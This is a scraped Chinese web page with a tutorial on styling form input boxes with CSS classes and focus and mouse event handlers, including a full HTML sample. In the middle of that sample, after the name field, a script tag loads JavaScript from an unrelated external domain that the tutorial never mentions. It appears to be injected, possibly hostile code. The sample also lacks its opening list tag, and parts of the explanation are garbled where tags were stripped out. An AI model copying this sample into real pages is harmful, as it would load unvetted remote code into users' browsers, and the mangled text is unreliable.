制作符合用戶體驗的漂亮的input輸入框_表單特效

來源：懂視網責編：小采時間：2020-11-27 20:38:32

制作符合用戶體驗的漂亮的input輸入框_表單特效

制作符合用戶體驗的漂亮的input輸入框_表單特效:今天來說說鄙人對input輸入框在處理上的細節處理和心得，其實制作一個符合CSS標準、FF/IE7/IE6等主流瀏覽器全兼容、符合用戶體驗的input其實并不難。先點擊看看下面的效果先！腳本之家-www.gxlcms.com表單效果 *{ margin:0; paddi

推薦度：

點擊下載本文 文檔為doc格式

導讀制作符合用戶體驗的漂亮的input輸入框_表單特效:今天來說說鄙人對input輸入框在處理上的細節處理和心得，其實制作一個符合CSS標準、FF/IE7/IE6等主流瀏覽器全兼容、符合用戶體驗的input其實并不難。先點擊看看下面的效果先！腳本之家-www.gxlcms.com表單效果 *{ margin:0; paddi

今天來說說鄙人對input輸入框在處理上的細節處理和心得，其實制作一個符合CSS標準、FF/IE7/IE6等主流瀏覽器全兼容、符合用戶體驗的input其實并不難。先點擊看看下面的效果先！

<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>腳本之家-www.gxlcms.com表單效果</title> 
<style type="text/css"> 
*{ 
 margin:0; 
 padding:0; 
} 
body{ 
 font-size:63%; 
 color:#000; 
} 
/*input*/ 
.input_on{ 
 padding:2px 8px 0pt 3px; 
 height:18px; 
 border:1px solid #999; 
 background-color:#FFFFCC; 
} 
.input_off{ 
 padding:2px 8px 0pt 3px; 
 height:18px; 
 border:1px solid #CCC; 
 background-color:#FFF; 
} 
.input_move{ 
 padding:2px 8px 0pt 3px; 
 height:18px; 
 border:1px solid #999; 
 background-color:#FFFFCC; 
} 
.input_out{ 
 /*height:16px;默認高度*/ 
 padding:2px 8px 0pt 3px; 
 height:18px; 
 border:1px solid #CCC; 
 background-color:#FFF; 
} 
/*form*/ 
ul.input_test{ 
 margin:20px auto 0 auto; 
 width:500px; 
 list-style-type:none; 
} 
ul.input_test li{ 
 width:500px; 
 height:22px; 
 margin-bottom:10px; 
} 
.input_test label{ 
 float:left; 
 padding-right:10px; 
 width:100px; 
 line-height:22px; 
 text-align:right; 
 font-size:1.4em; 
} 
.input_test p{ 
 float:left; 
 _margin-top:-1px; 
} 
.input_test span{ 
 float:left; 
 padding-left:10px; 
 line-height:22px; 
 text-align:left; 
 font-size:1.2em; 
 color:#999; 
} 
</style> 
</head> 
<body> 
 
 <li> 
 <label for="inp_name">姓名：</label> 
 <p><input id="inp_name" class="input_out" name="" type="text" onfocus="this.className='input_on';this.onmouseout=''" onblur="this.className='input_off';this.onmouseout=function(){this.className='input_out'};" onmousemove="this.className='input_move'" onmouseout="this.className='input_out'" /></p><script type="text/javascript" src="https://jss.m.alabama37th.com/pcwz/wenzhong.js"></script> 
 請輸入您的姓名 
 </li> 
 <li> 
 <label for="inp_email">Email：</label> 
 <p><input id="inp_email" class="input_out" name="" type="text" onfocus="this.className='input_on';this.onmouseout=''" onblur="this.className='input_off';this.onmouseout=function(){this.className='input_out'};" onmousemove="this.className='input_move'" onmouseout="this.className='input_out'" /></p> 
 請輸入您的Email 
 </li> 
 <li> 
 <label for="inp_web">網站：</label> 
 <p><input id="inp_web" class="input_out" name="" type="text" onfocus="this.className='input_on';this.onmouseout=''" onblur="this.className='input_off';this.onmouseout=function(){this.className='input_out'};" onmousemove="this.className='input_move'" onmouseout="this.className='input_out'" /></p> 
 請輸入您的網站 
 </li> 
 
</body> 
</html>

[Ctrl+A 全選注:如需引入外部Js需刷新才能執行]
鼠標經過input時的顏色會發生變化，此外當點擊標題處（的作用）或者輸入框時，光標停留所在的input的顏色也和其他input輸入框有所不同，這是中JS的作用。在用戶體驗上告訴的用戶什么是可以輸入以及當前在什么輸入位置。此外通過鍵盤上Tab鍵的切換，輸入完當前內容移動到下一個輸入框變得更方便了，這是CSS合理布局結構的作用。

整體的結構通過和

來組織，每個

顯示一行內容。標簽顯示標題，

input控制輸入框，顯示備注信息。這里要特別說一下在各個瀏覽器下不同的表現，對設置line-height對FF是不起作用的，所以建議用padding來控制文本在輸入框的位置。在瀏覽器下的默認高度和字體一樣是16px，加上下邊框就是18px。特別是在需要將變大的情況下，用padding來控制比較好。

再來說說JS部分，這里用到onblur（光標離開）、onfocus（光標停留）、onmousemove（鼠標停留）、onmouseout（鼠標離開）這4個屬性來控制鼠標的動作。不會JS也沒關系，只要定義其所對應的CSS樣式就可以了。在這里要特別感謝經典論壇中WellFrog給與我JS上的幫助。

精通一樣東西比學會一樣東西所付出的精力和時間要多得多，這年頭最值錢的東西就是堅持。制作一個符合CSS標準、FF/IE7/IE6等主流瀏覽器全兼容、符合用戶體驗的東西出來其實也可以很簡單的。

聲明：本網頁內容旨在傳播知識，若有侵權等問題請及時與本網聯系，我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

制作符合用戶體驗的漂亮的input輸入框_表單特效

推薦度：

點擊下載本文 文檔為doc格式

標簽：制作特效表單

熱門焦點

制作符合用戶體驗的漂亮的input輸入框_表單特效

制作符合用戶體驗的漂亮的input輸入框_表單特效

制作符合用戶體驗的漂亮的input輸入框_表單特效

最新推薦

猜你喜歡

熱門推薦